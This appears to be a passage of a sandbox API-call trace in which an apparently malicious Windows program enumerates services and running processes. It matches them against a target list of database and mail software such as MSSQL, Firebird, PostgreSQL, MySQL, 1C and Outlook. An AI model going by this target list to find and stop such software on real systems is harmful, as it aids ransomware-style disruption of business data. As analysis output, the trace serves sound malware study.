[0259.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0259.410] lstrlenW (lpString="LanmanServer") returned 12 [0259.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0259.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0259.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0259.410] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0259.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0259.410] lstrlenW (lpString="LanmanWorkstation") returned 17 [0259.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.410] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0259.411] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0259.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0259.411] lstrlenW (lpString="lmhosts") returned 7 [0259.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0259.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0259.411] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0259.411] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0259.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0259.411] lstrlenW (lpString="MMCSS") returned 5 [0259.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0259.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0259.412] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0259.412] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0259.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0259.412] lstrlenW (lpString="MpsSvc") returned 6 [0259.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0259.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0259.412] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0259.412] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0259.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0259.412] lstrlenW (lpString="Netman") returned 6 [0259.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0259.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0259.412] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0259.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0259.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0259.413] lstrlenW (lpString="netprofm") returned 8 [0259.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0259.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0259.413] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0259.413] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0259.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0259.413] lstrlenW (lpString="NlaSvc") returned 6 [0259.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0259.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0259.413] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0259.414] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0259.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0259.414] lstrlenW (lpString="nsi") returned 3 [0259.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0259.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0259.414] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0259.414] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0259.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0259.414] lstrlenW (lpString="PcaSvc") returned 6 [0259.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0259.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0259.415] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0259.415] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0259.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0259.415] lstrlenW (lpString="PlugPlay") returned 8 [0259.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0259.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0259.415] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0259.415] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0259.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0259.415] lstrlenW (lpString="Power") returned 5 [0259.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0259.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0259.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0259.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0259.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0259.416] lstrlenW (lpString="ProfSvc") returned 7 [0259.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0259.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0259.416] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0259.416] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0259.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0259.416] lstrlenW (lpString="RpcEptMapper") returned 12 [0259.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.416] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0259.416] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0259.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0259.417] lstrlenW (lpString="RpcSs") returned 5 [0259.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0259.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0259.417] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0259.417] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0259.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0259.417] lstrlenW (lpString="SamSs") returned 5 [0259.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0259.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0259.417] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0259.417] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0259.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0259.418] lstrlenW (lpString="Schedule") returned 8 [0259.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0259.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0259.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0259.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0259.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0259.418] lstrlenW (lpString="SENS") returned 4 [0259.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0259.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0259.418] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0259.418] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0259.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0259.418] lstrlenW (lpString="ShellHWDetection") returned 16 [0259.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0259.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0259.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0259.419] lstrlenW (lpString="Spooler") returned 7 [0259.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0259.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0259.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0259.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0259.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0259.419] lstrlenW (lpString="SysMain") returned 7 [0259.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0259.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0259.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0259.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0259.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0259.420] lstrlenW (lpString="Themes") returned 6 [0259.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0259.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0259.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0259.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0259.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0259.420] lstrlenW (lpString="TrkWks") returned 6 [0259.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0259.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0259.421] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0259.421] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0259.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0259.422] lstrlenW (lpString="UxSms") returned 5 [0259.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0259.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0259.422] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0259.422] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0259.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0259.422] lstrlenW (lpString="WdiServiceHost") returned 14 [0259.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0259.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0259.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0259.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0259.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0259.422] lstrlenW (lpString="WdiSystemHost") returned 13 [0259.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0259.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0259.423] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0259.423] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0259.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0259.423] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0259.423] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0259.423] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0259.423] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0259.423] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0259.423] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0259.423] lstrlenW (lpString="Winmgmt") returned 7 [0259.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0259.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0259.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0259.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0259.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0259.424] lstrlenW (lpString="WPDBusEnum") returned 10 [0259.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0259.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0259.424] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0259.424] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0259.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0259.424] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4254088 | out: hHeap=0x880000) returned 1 [0259.425] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390 [0259.428] Process32FirstW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0259.429] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0259.430] lstrlenW (lpString="System") returned 6 [0259.430] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0259.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0259.431] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0259.431] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0259.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0259.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0259.431] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0259.431] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0259.432] lstrlenW (lpString="smss.exe") returned 8 [0259.432] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0259.432] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0259.432] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0259.432] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0259.432] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0259.432] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0259.433] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0259.433] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.434] lstrlenW (lpString="csrss.exe") returned 9 [0259.434] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0259.434] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0259.434] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0259.434] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0259.434] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0259.434] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0259.434] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0259.434] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0259.435] lstrlenW (lpString="wininit.exe") returned 11 [0259.435] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0259.436] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0259.436] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0259.436] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0259.436] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0259.436] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0259.436] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0259.738] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0259.739] lstrlenW (lpString="csrss.exe") returned 9 [0259.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0259.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0259.739] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0259.739] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0259.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0259.740] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0259.740] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0259.741] lstrlenW (lpString="winlogon.exe") returned 12 [0259.741] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0259.742] lstrlenW (lpString="services.exe") returned 12 [0259.742] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0259.743] lstrlenW (lpString="lsass.exe") returned 9 [0259.743] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0259.744] lstrlenW (lpString="lsm.exe") returned 7 [0259.744] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.745] lstrlenW (lpString="svchost.exe") returned 11 [0259.745] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.746] lstrlenW (lpString="svchost.exe") returned 11 [0259.746] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.747] lstrlenW (lpString="svchost.exe") returned 11 [0259.747] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.748] lstrlenW (lpString="svchost.exe") returned 11 [0259.748] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.750] lstrlenW (lpString="svchost.exe") returned 11 [0259.750] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0259.751] lstrlenW (lpString="audiodg.exe") returned 11 [0259.751] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.752] lstrlenW (lpString="svchost.exe") returned 11 [0259.752] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0259.753] lstrlenW (lpString="explorer.exe") returned 12 [0259.753] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0259.754] lstrlenW (lpString="dwm.exe") returned 7 [0259.754] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.755] lstrlenW (lpString="svchost.exe") returned 11 [0259.756] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0259.757] lstrlenW (lpString="driver.exe") returned 10 [0259.757] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0259.758] lstrlenW (lpString="spoolsv.exe") returned 11 [0259.758] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.759] lstrlenW (lpString="taskhost.exe") returned 12 [0259.759] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0259.760] lstrlenW (lpString="svchost.exe") returned 11 [0259.760] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0259.761] lstrlenW (lpString="reader_sl.exe") returned 13 [0259.761] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0259.762] lstrlenW (lpString="taskhost.exe") returned 12 [0259.762] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0259.763] lstrlenW (lpString="dllhost.exe") returned 11 [0259.763] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: 